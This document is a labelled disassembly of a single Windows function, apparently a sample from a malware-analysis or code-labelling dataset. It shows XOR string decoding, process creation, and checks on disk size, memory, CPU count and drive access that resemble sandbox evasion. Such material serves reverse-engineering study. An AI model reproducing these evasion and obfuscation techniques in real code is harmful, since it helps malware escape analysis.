Function at 0x405760
Capabilities:
Accept command line arguments
Create process on windows
Encode data using xor
Enumerate gui resources
Get disk information
Get disk size
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x508
mov eax, dword [0x431040]
xor eax, esp
mov dword [esp + 0x504], eax
push esi
push edi
lea eax, [esp + 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0xb0], 2
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jl 0x405883
mov esi, dword [eax + 4]
xorps xmm0, xmm0
push 0
push 0
push 8
lea eax, [esp + 0xb4]
movlpd qword [esp + 0x5c], xmm0
push eax
push 0x20007
push 0
push dword [esp + 0x6c]
movlpd qword [esp + 0x30], xmm0
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
movlpd qword [esp + 0x48], xmm0
movlpd qword [esp + 0x50], xmm0
movlpd qword [esp + 0x5c], xmm0
movlpd qword [esp + 0x64], xmm0
movaps xmmword [esp + 0x9c], xmm0
mov dword [esp + 0x2c], 0x48
mov dword [esp + 0x58], 0x80000
mov dword [esp + 0xc4], 0
mov dword [esp + 0xc8], 0x1000
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x80000
push 1
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40613b
push dword [esp + 0x84]
call edi
push dword [esp + 0x80]
call edi
push esi
call fcn.004094f3
add esp, 4
push dword [esp + 0x54]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x42dfe8
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
je 0x4058e2
test eax, eax
je 0x4058e2
lea eax, [esp + 0xb8]
push eax
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0x88]
push eax
push 0x42dfe8
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x4058d4
mov eax, dword [esp + 0xa8]
or eax, dword [esp + 0xac]
je 0x406157
jmp 0x4058e2
call fcn.00406340
push eax
call fcn.00406600
add esp, 4
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [esp + 0xd8], 2
jb 0x406157
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
shrd ecx, eax, 0x14
cmp ecx, 0x800
jb 0x406157
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [esp + 0xb8], esi
cmp esi, 0xffffffff
jne 0x405960
push str.Failed_to_open_HDD_n
call fcn.00402730
add esp, 4
jmp 0x406157
push 0
lea eax, [esp + 0xac]
push eax
push 0x18
lea eax, [esp + 0x8c]
push eax
push 0
push 0
push 0x70000
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x405990
push esi
call edi
jmp 0x406157
mov eax, dword [esp + 0x94]
mul dword [esp + 0x90]
push 0
push dword [esp + 0x90]
push edx
push eax
call fcn.00409f30
push dword [esp + 0x84]
push dword [esp + 0x84]
push edx
push eax
call fcn.00409f30
push 0
push 0x40000000
push edx
push eax
call fcn.00424280
push dword [esp + 0xb8]
mov esi, eax
call edi
cmp esi, 0x64
jb 0x406157
push 0
push 0x405540
call dword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
push 0x206
push eax
mov word [esp + 0x308], ax
lea eax, [esp + 0x30a]
push eax
call fcn.0040b1f0
add esp, 0xc
mov dword [esp + 0xc], 0
lea eax, [esp + 0x300]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0xc]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x405b88
lea eax, [esp + 0xc0]
push eax
push 4
lea eax, [esp + 0xbc]
push eax
push 0x14
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x405b88
cmp dword [esp + 0xb4], 0
jne 0x405b88
call fcn.004039a0
test eax, eax
je 0x406123
push 0x20a
lea eax, [esp + 0xf4]
mov dword [esp + 0xec], 0x200026
push 0
push eax
mov dword [esp + 0xf8], 0x27
call fcn.0040b1f0
add esp, 0xc
lea eax, [esp + 0x300]
push eax
lea eax, [esp + 0xec]
push 0x109
push eax
call fcn.0040e759
add esp, 0xc
lea eax, [esp + 0xe8]
push 0x42e008
push 0x109
push eax
call fcn.0040e759
mov eax, dword [0x42e02c]
add esp, 0xc
movups xmm0, xmmword [str.BCPDDPVW_]
mov dword [esp + 0x90], eax
xor esi, esi
mov ax, word [0x42e030]
movups xmmword [esp + 0x80], xmm0
mov word [esp + 0x94], ax
nop dword [eax + eax]
mov eax, 0x3521cfb3
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x32
xor word [esp + esi*2 + 0x80], cx
inc esi
cmp esi, 0xb
jl 0x405b20
push ecx
lea edx, [esp + 0xec]
lea ecx, [esp + 0x84]
call fcn.004044a0
mov eax, dword [esp + 0x10]
add esp, 4
test eax, eax
je 0x406123
push eax
call edi
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.004094e5
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [esp + 0xc]
test eax, eax
je 0x405b9b
push eax
call edi
mov dword [esp + 0xc], 0
lea ecx, [esp + 0x300]
call fcn.00404690
call fcn.004039a0
test eax, eax
je 0x406123
mov ecx, 0x1b
lea edi, [esp + 0x10]
mov esi, 0x42e240
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor esi, esi
cmp dword [0x4321f8], 2
jl 0x405cd4
movaps xmm4, xmmword [0x42e390]
movaps xmm3, xmmword [0x42e3f0]
movaps xmm5, xmmword [0x42e3b0]
movaps xmm6, xmmword [0x42e3d0]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x10]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x10], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x18]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0x18], xmm1
add esi, 8
cmp esi, 0x30
jl 0x405bf1
jmp 0x405cf5
mov eax, 0x4d4873ed
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x32
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0x37
jl 0x405cd4
mov eax, dword [0x42e02c]
xor esi, esi
movups xmm0, xmmword [str.BCPDDPVW_]
mov dword [esp + 0x90], eax
mov ax, word [0x42e030]
mov word [esp + 0x94], ax
movups xmmword [esp + 0x80], xmm0
mov eax, 0x3521cfb3
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x32
xor word [esp + esi*2 + 0x80], cx
inc esi
cmp esi, 0xb
jl 0x405d25
push ecx
lea edx, [esp + 0x14]
lea ecx, [esp + 0x84]
call fcn.004044a0
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x42
lea edi, [esp + 0xe8]
mov esi, 0x42e120
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [0x4321f8]
xor esi, esi
cmp edi, 2
jl 0x405ea2
movaps xmm4, xmmword [0x42e390]
movaps xmm3, xmmword [0x42e3f0]
movaps xmm5, xmmword [0x42e3b0]
movaps xmm6, xmmword [0x42e3d0]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xe8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0xe8], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xf0]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0xf0], xmm1
add esi, 8
cmp esi, 0x80
jl 0x405db0
jmp 0x405ec6
mov eax, 0x4d4873ed
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x32
xor word [esp + esi*2 + 0xe8], cx
inc esi
cmp esi, 0x85
jl 0x405ea2
mov eax, dword [0x42e02c]
xor esi, esi
movups xmm0, xmmword [str.BCPDDPVW_]
mov dword [esp + 0x90], eax
mov ax, word [0x42e030]
mov word [esp + 0x94], ax
movups xmmword [esp + 0x80], xmm0
nop dword [eax]
mov eax, 0x3521cfb3
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x32
xor word [esp + esi*2 + 0x80], cx
inc esi
cmp esi, 0xb
jl 0x405f00
push ecx
lea edx, [esp + 0xec]
lea ecx, [esp + 0x84]
call fcn.004044a0
add esp, 4
push 0x2ee0
call dword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x42e0c8]
xor esi, esi
movups xmmword [esp + 0x10], xmm0
movups xmm0, xmmword [0x42e0d8]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x42e0e8]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x42e0f8]
movups xmmword [esp + 0x40], xmm0
movq xmm0, qword [0x42e108]
movq qword [esp + 0x50], xmm0
cmp edi, 2
jl 0x406094
movaps xmm4, xmmword [0x42e390]
movaps xmm3, xmmword [0x42e3f0]
movaps xmm5, xmmword [0x42e3b0]
movaps xmm6, xmmword [0x42e3d0]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x10]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x10], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x18]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0x18], xmm1
add esi, 8
cmp esi, 0x20
jl 0x405fb1
jmp 0x4060b5
mov eax, 0x4d4873ed
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x32
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0x24
jl 0x406094
mov eax, dword [0x42e02c]
xor esi, esi
movups xmm0, xmmword [str.BCPDDPVW_]
mov dword [esp + 0x90], eax
mov ax, word [0x42e030]
mov word [esp + 0x94], ax
movups xmmword [esp + 0x80], xmm0
mov eax, 0x3521cfb3
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x32
xor word [esp + esi*2 + 0x80], cx
inc esi
cmp esi, 0xb
jl 0x4060e5
push ecx
lea edx, [esp + 0x14]
lea ecx, [esp + 0x84]
call fcn.004044a0
add esp, 4
mov ecx, dword [esp + 0x50c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.004094e5
mov esp, ebp
pop ebp
ret 0x10
push esi
call fcn.004094f3
add esp, 4
push dword [esp + 0x54]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 1
call fcn.0040e34e
int3